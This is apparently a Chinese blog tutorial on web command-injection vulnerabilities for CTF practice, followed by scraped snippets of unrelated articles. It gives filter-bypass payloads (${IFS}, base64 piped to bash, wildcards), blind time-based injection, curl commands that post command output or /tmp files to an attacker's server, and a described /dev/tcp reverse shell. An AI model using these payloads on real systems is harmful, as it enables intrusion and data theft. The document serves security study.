zyNo.22
常见Web漏洞解析
命令执行漏洞
1.Bash与CMD常用命令
(1)Bash
读取文件:最常见的命令cat flag
在 Bash 中,cat 以及的tac、nl、more、head、less、tail、od、pr 均为文件读取相关命令,它们的区别如下:
·cat
按顺序依次输出各文件内容,常用于快速查看小文件内容,或在脚本中组合文件内容等场景。
· tac
与 cat 相反,tac flag 会将 flag 文件内容从最后一行到第一行依次显示。
· nl
nl flag 会在显示 flag 文件内容的同时,给每行添加上行号
· more
逐页显示文件内容,按空格键显示下一页,按回车键显示下一行。当使用 more flag 时,会以分页形式展示 flag 文件内容。但它不支持反向浏览,适用于粗略查看文件且不需要太多交互操作的场景。
· head
默认显示文件的前 10 行内容。可通过选项指定显示的行数,比如 head -n 5 flag 会显示 flag 文件的前 5 行。常用于快速查看文件开头部分内容,了解文件大致结构或开头关键信息。
· less
也是分页显示文件内容,功能比 more 更强大。支持前后翻页(使用 Page Up 和 Page Down 键等)、搜索内容(输入 / 后接关键词可向下搜索,? 后接关键词可向上搜索)等操作。输入 less flag 后,可对 flag 文件进行多种交互操作,适合查看较大文件且需要频繁定位内容的情况。
·tail
默认显示文件的最后 10 行内容,同样可通过选项指定显示行数,如 tail -n 5 flag 显示 flag 文件的最后 5 行。还可以使用 -f 选项实时查看文件追加的内容,常用于查看日志文件等,当有新日志写入时,tail -f 能即时显示新内容。
· od
以八进制、十六进制等多种格式显示文件内容,主要用于查看二进制文件或者文本文件的原始字节数据。od flag 会以特定的格式展示 flag 文件的底层数据形式,对于分析二进制文件结构等场景很有用。
· pr
用于将文件内容格式化输出,比如添加页眉、页脚,进行分页等处理,方便打印。例如 pr flag 会对 flag 文件内容进行格式化后输出,可通过选项设置页眉页脚样式、页宽等参数。
其他
rm a.txt 删除a.txt
mv a b 将a文件重命名为b
cp a a2 复制a到a2
ls 列出当前目录
ls/etc 列出 /etc 目录下的文件
(2)cmd
dir 显示目录里的文件和文件夹
cd 切换目录
md 创建新的文件夹
rd 删除文件夹(但前提是这个文件夹得是空的)
del 删除文件
cls 清屏
copy 复制文件(相当于Linux里的cp)
ren 重命名文件
type 显示文件的内容
2.命令执行漏洞的基础概念

调用了system函数,中间的参数可控,没对username进行过滤,里面内容可能被注入其他命令
利用命令连接符注入我们想要执行的命令(例如system('mkdir &ls'...):
A;B:无论A执行成功与否都会执行B
A&B:A后台执行,A、B同时执行
A&&B:A执行成功后才能执行B
A|B:A执行的结果作为B命令的参数,AB均会执行
A | |B:A 执行失败后执行B
注意:如果直接把一些特殊符号放在URL里,可能服务器根本识别不了你想要的命令。所以得对这些特殊符号进行URL编码。比如,“;”编码后会变成“%3B”,“&”编码后是“%26”
3.过滤敏感字符串绕过的漏洞案例
黑名单过滤或者前面有安装WAF

WAF中会拦截、过滤各种字符
(1)过滤空格
可以用%09、%0a(在url编码中用得上)、${IFS}、$IFS$9(在Linux shell中用得上)等字符来过滤关键字。
(2)过滤关键字(cat、flag等)
1)用开头的读取文件替代命令去读取文件。
2)在过滤的字符串中加入单引号、双引号或反斜杠( ca"t ca"'"t ca\t )
3)$(printf"\x6c\x73") == Is:利用printf+16进制输出Is,再用$()调用Is
4 ) echo Y2FOIGluZGV4LnBocA == | Base64-d | bash:Base64编码绕过,echo Base64的结果通过|又传入了Base64,解密命令后又传入bash执行。
5)利用通配符:catfl?g catf*(“c*a*t f*l*g*.t*x*t”。这里“*”代表任意多个字符,这样就也可以模糊匹配到“cat flag.txt”命令)
6)a=c;b=at;$a$b:利用Linux下的变量拼接动态执行命令。
4.无回显的命令执行漏洞案例
system有回显exec无回显,具体区别看我另一篇文章在PHP中,system函数和exec函数有不同的功能和特点-CSDN博客文章浏览阅读42次。• system函数方便获取命令最后一行输出且直接显示全部输出,适合简单查看命令执行结果的场景。• exec函数更侧重于控制命令执行状态,如需获取输出需要额外处理,在一些对输出控制要求更精细、需要灵活处理的场景中使用。https://blog.csdn.net/2401_88743143/article/details/145570794?sharetype=blogdetail&sharerId=145570794&sharerefer=PC&sharesource=2401_88743143&sharefrom=mp_from_link
无回显函数来执行命令时,可以用反弹shell,了解相关知识,并在ai上取了个生动形象的例子看我另一篇文章反弹shell-CSDN博客文章浏览阅读22次。这段代码就像是一把特殊的 “钥匙”。bash -i就像是打开 Shell 这扇门的初始动作,它启动了一个交互式的 bash Shell,就好像在屋子内部打开了一个可以操作的控制台。这部分,/dev/tcp是 Linux 系统里一种特殊的网络设备接口,ip是黑客自己服务器的地址,port是一个特定的端口号,这部分相当于让靶机按照黑客服务器的地址和端口号去建立一个连接,就像是让屋子里的人按照小偷给的地址和门牌号去敲门。0>&1则是把标准输入也导向这个连接,保证整个交互过程的顺畅。https://blog.csdn.net/2401_88743143/article/details/145573131?sharetype=blogdetail&sharerId=145573131&sharerefer=PC&sharesource=2401_88743143&sharefrom=mp_from_link
攻击时没有回显常用的payload就是sleep 5判断这里是否存在命令注入。存在漏洞就会延时5s,当我们输入cmd=sleep5,服务器等待5s才回显出页面的话,存在命令注入,可以开始外带数据了。一般常见的就是使用HTTP外带数据,使用curl或者wget: 先在服务器上设置一个监听端口,然后在靶机上发送post请求去监听端口curl http://服务器 IP/-X POST-d"a=`ls`"(如果没有反引号,还可以使用$()代替。)如果不能用反引号,$()这些嵌套命令执行符号,怎懡外带数据,在Linux中可以把命令执行的结果写入tmp目录,并且用curl把这个文件发到我们自己的机器上![]()
命令解释:
1)首先用重定向符号>把命令执行结果写入到/tmp/re-sult中。
2)然后利用curl的-F参数将文件上传,将/tmp/result发送到远程服务器,参数格式如下 :- F"任意值=@文件路径"。
5.不出网的命令执行漏洞案例
假设web目录有写权限,那么我们可以把命令执行的结果写到Web根目录下(用>),然后去访问即可获得结果,http://127.0.0.1:8080/cmd.php? cmd=ls-1>1.txt
如果目录不可写,那么我们可以通过延时注入来获取内容,if [ 'whoami |cut-c 1'="r" ]; then sleep 2;fi
以上的命令盲注大致分3步。
1)首先是利用反引号执行whoami|cut-c1。获取到whoami的第一个字符r。
2)比较命令执行的返回结果和r,一致则返回True,否则就返回False。
3)最后进行if判断,如果为True,就sleep 2s。
经典例题[GXYCTF2019]Ping Ping Ping (文件执行漏洞)-CSDN博客文章浏览阅读2.5k次,点赞23次,收藏30次。通过回显我们可以知道在当前目录有flag.php和index.php文件。管道符,上一条命令的输出,作为下一条命令的参数(显示后面的执行结果)比如我们想执行 cat flag.php但对方过滤了flag字符串。前面的语句为假则直接出错,后面的也不执行,前面只能为真。这个的意思是匹配到按flag这个顺序的所有字符。这个的意思是匹配到按flag这个顺序的所有字符。1、命令联合执行(参考lunan0320)cat fla$a.php即可。当前面的执行出错时(为假)执行后面的。前面的执行完执行后面的。_[gxyctf2019]ping ping pinghttps://blog.csdn.net/weixin_59233715/article/details/134966104?fromshare=blogdetail&sharetype=blogdetail&sharerId=134966104&sharerefer=PC&sharesource=2401_88743143&sharefrom=from_link
相关文章:
zyNo.22
常见Web漏洞解析 命令执行漏洞 1.Bash与CMD常用命令 (1)Bash 读取文件:最常见的命令cat flag 在 Bash 中,cat 以及的tac、nl、more、head、less、tail、od、pr 均为文件读取相关命令,它们的区别如下: …...
博客项目-day05(首页导航栏功能补全)
导航 其实之前已经实现过文章和标签分类了 但是这个对应的是导航栏的,多显示个图片 所以新增两个这个请求 文章分类 把之前的CategoryVo加个描述属性 写过这个copyList,直接用就行 标签分类 和上面的分类查询差不多 不多解释了 分类文章列表 点击这个后…...
防御保护-----前言
HCIE安全防御 前言 计算机病毒 蠕虫病毒----->具备蠕虫特性的病毒:1,繁殖性特别强(自我繁殖);2,具备破坏性 蠕虫病毒是一种常见的计算机病毒,其名称来源于它的传播方式类似于自然界中…...
力扣刷题(数组篇)
日期类 #pragma once#include <iostream> #include <assert.h> using namespace std;class Date { public:// 构造会频繁调用,所以直接放在类里面(类里面的成员函数默认为内联)Date(int year 1, int month 1, int day 1)//构…...
初一说明文:我的护眼灯
本文转自:AI范文助手网 原文链接:https://www.aazhushou.com/czzw/5023.html 自爱迪生发明了灯以来,各种各样的灯相继问世了,给人一种新景象,其中护眼灯也问世了。 我有一盏台灯叫麦迪格护眼灯。那天我和母亲去商场&…...
【论文阅读】Revisiting the Assumption of Latent Separability for Backdoor Defenses
https://github.com/Unispac/Circumventing-Backdoor-Defenses 摘要和介绍 在各种后门毒化攻击中,来自目标类别的毒化样本和干净样本通常在潜在空间中形成两个分离的簇。 这种潜在的分离性非常普遍,甚至在防御研究中成为了一种默认假设,我…...
八一南昌起义纪念塔手绘图纸:一部凝固的工程史诗
在南昌美术馆的玻璃展柜中,泛黄的八一南昌起义纪念塔手绘图纸正无声述说着一段工程奇迹。这些诞生于上世纪七十年代的图纸,以0.05毫米的针管笔触勾勒出总高53.6米的纪念碑,在硫酸纸上构建的坐标网格精确到毫米级,每一根结构线都暗…...
[hgame 2025 ]week1 pwn/crypto
一共两周,第一周说难也不难说简单也不简单。 pwn counting petals 数组v7长度17,输入16时v7[161]会发生溢出,溢出到v8,v9,将其改大,会输出canary和libc_start_main_ret的地址。第2次进来覆盖到返回地址写上ROP from pwn import…...
python 获取smpl身高 fbx身高
目录 python 获取smpl身高 读取fbx,获取fbx mesh身高 python 获取smpl身高 video_segments = pickle.load(open(smpl_pkl_path, "rb"))if isinstance(video_segments, tuple):video_segments = video_segments[0]scene = bpy.data.scenes[Scene]ob, obname, arm_o…...
实战教程:如何利用DeepSeek结合深度学习与NLP技术实现跨模态搜索与个性化推荐
跨模态搜索与个性化推荐是当前人工智能领域中的热门话题,DeepSeek作为结合深度学习与自然语言处理(NLP)技术的创新平台,提供了在多模态数据间进行搜索与推荐的强大能力。本教程将带你一步步实现基于DeepSeek的跨模态搜索和个性化推荐,详细讲解整个过程的实现方法,从数据准…...
计算机毕业设计Python+卷积神经网络租房推荐系统 租房大屏可视化 租房爬虫 hadoop spark 58同城租房爬虫 房源推荐系统
温馨提示:文末有 CSDN 平台官方提供的学长联系方式的名片! 温馨提示:文末有 CSDN 平台官方提供的学长联系方式的名片! 温馨提示:文末有 CSDN 平台官方提供的学长联系方式的名片! 作者简介:Java领…...
目标检测模型性能评估:mAP50、mAP50-95、Precision 和 Recall 及测试集质量的重要性
目标检测评估全解析:从核心指标到高质量测试集构建 目标检测技术在计算机视觉领域发挥着至关重要的作用,无论是自动驾驶、安防监控,还是医学影像处理,目标检测算法的性能评估都需要依赖一系列精确且科学的评估指标。而测试集的构建…...
AnyPlace:学习机器人操作的泛化目标放置
25年2月来自多伦多大学、Vector Inst、上海交大等机构的论文“AnyPlace: Learning Generalized Object Placement for Robot Manipulation”。 由于目标几何形状和放置的配置多种多样,因此在机器人任务中放置目标本身就具有挑战性。为了解决这个问题,An…...
2025icpc(Ⅱ)网络赛补题 GL
题意: 给定Alice和Bob的每一轮的概率p0,p1 给定Alice和Bob的初始数字x,y。 对于每一轮: 如果Alice获胜,则bob的数字y需要减去x。(如果y≤0,Alice获胜)如果Bob获胜,则Alice的数字x需要减去y。…...
51c大模型~合集112
我自己的原文哦~ https://blog.51cto.com/whaosoft/13267449 #Guidance-Free Training (GFT) 无需引导采样,清华大学提出视觉模型训练新范式 引导采样 Classifier-Free Guidance(CFG)一直以来都是视觉生成模型中的关键技术。然而最近&am…...
Rust 文件读取:实现我们的 “迷你 grep”
1. 准备示例文件 首先,在项目根目录(与 Cargo.toml 同级)下新建一个名为 poem.txt 的文件。示例内容可参考 Emily Dickinson 的诗: Im nobody! Who are you? Are you nobody, too? Then theres a pair of us — dont tell! Th…...
【Unity3D】Jenkins Pipeline流水线自动构建Apk
目录 一、准备阶段 二、创建Pipeline流水线项目 三、注意事项 一、准备阶段 1、安装tomcat 10.0.5 Index of apache-local/tomcat/tomcat-10 2、安装jdk 17 Java Archive Downloads - Java SE 17.0.13 and later 3、下载Jenkins 2.492.1 (.war)包 War Jenkins Packa…...
信息收集-Web应用备案产权Whois反查域名枚举DNS记录证书特征相似查询
知识点: 1、信息收集-Web应用-机构产权&域名相关性 2、信息收集-Web应用-DNS&证书&枚举子域名 企业信息 天眼查 https://www.tianyancha.com/ 企业信息 小蓝本 https://www.xiaolanben.com/ 企业信息 爱企查 https://aiqicha.baidu.com/ 企业信息 企查…...
结合实际讲NR系列2—— SIB1
这是在基站抓取的sib1的一条信令 L3MessageContent BCCH-DL-SCH-Messagemessagec1systemInformationBlockType1cellSelectionInfoq-RxLevMin: -64q-QualMin: -19cellAccessRelatedInfoplmn-IdentityListPLMN-IdentityInfoplmn-IdentityListPLMN-IdentitymccMCC-MNC-Digit: 4MC…...
绿虫仿真软件如何预测组件衰减对收益的影响?
绿虫仿真软件通过其精细化的算法模型,能够有效预测组件衰减对光伏电站收益的影响,主要体现在以下几个方面: 1. 数据基础与模型构建 历史数据分析:绿虫软件整合了长达20年的历史数据,涵盖气象、地理、组件型号、逆变器…...
观成科技:隐蔽隧道工具Ligolo-ng加密流量分析
1.工具介绍 Ligolo-ng是一款由go编写的高效隧道工具,该工具基于TUN接口实现其功能,利用反向TCP/TLS连接建立一条隐蔽的通信信道,支持使用Let’s Encrypt自动生成证书。Ligolo-ng的通信隐蔽性体现在其支持多种连接方式,适应复杂网…...
深入浅出Asp.Net Core MVC应用开发系列-AspNetCore中的日志记录
ASP.NET Core 是一个跨平台的开源框架,用于在 Windows、macOS 或 Linux 上生成基于云的新式 Web 应用。 ASP.NET Core 中的日志记录 .NET 通过 ILogger API 支持高性能结构化日志记录,以帮助监视应用程序行为和诊断问题。 可以通过配置不同的记录提供程…...
pam_env.so模块配置解析
在PAM(Pluggable Authentication Modules)配置中, /etc/pam.d/su 文件相关配置含义如下: 配置解析 auth required pam_env.so1. 字段分解 字段值说明模块类型auth认证类模块,负责验证用户身份&am…...
Springcloud:Eureka 高可用集群搭建实战(服务注册与发现的底层原理与避坑指南)
引言:为什么 Eureka 依然是存量系统的核心? 尽管 Nacos 等新注册中心崛起,但金融、电力等保守行业仍有大量系统运行在 Eureka 上。理解其高可用设计与自我保护机制,是保障分布式系统稳定的必修课。本文将手把手带你搭建生产级 Eur…...
算法:模拟
1.替换所有的问号 1576. 替换所有的问号 - 力扣(LeetCode) 遍历字符串:通过外层循环逐一检查每个字符。遇到 ? 时处理: 内层循环遍历小写字母(a 到 z)。对每个字母检查是否满足: 与…...
Vite中定义@软链接
在webpack中可以直接通过符号表示src路径,但是vite中默认不可以。 如何实现: vite中提供了resolve.alias:通过别名在指向一个具体的路径 在vite.config.js中 import { join } from pathexport default defineConfig({plugins: [vue()],//…...
【Linux系统】Linux环境变量:系统配置的隐形指挥官
。# Linux系列 文章目录 前言一、环境变量的概念二、常见的环境变量三、环境变量特点及其相关指令3.1 环境变量的全局性3.2、环境变量的生命周期 四、环境变量的组织方式五、C语言对环境变量的操作5.1 设置环境变量:setenv5.2 删除环境变量:unsetenv5.3 遍历所有环境…...
对象回调初步研究
_OBJECT_TYPE结构分析 在介绍什么是对象回调前,首先要熟悉下结构 以我们上篇线程回调介绍过的导出的PsProcessType 结构为例,用_OBJECT_TYPE这个结构来解析它,0x80处就是今天要介绍的回调链表,但是先不着急,先把目光…...
C++--string的模拟实现
一,引言 string的模拟实现是只对string对象中给的主要功能经行模拟实现,其目的是加强对string的底层了解,以便于在以后的学习或者工作中更加熟练的使用string。本文中的代码仅供参考并不唯一。 二,默认成员函数 string主要有三个成员变量,…...
SQL进阶之旅 Day 22:批处理与游标优化
【SQL进阶之旅 Day 22】批处理与游标优化 文章简述(300字左右) 在数据库开发中,面对大量数据的处理任务时,单条SQL语句往往无法满足性能需求。本篇文章聚焦“批处理与游标优化”,深入探讨如何通过批量操作和游标技术提…...
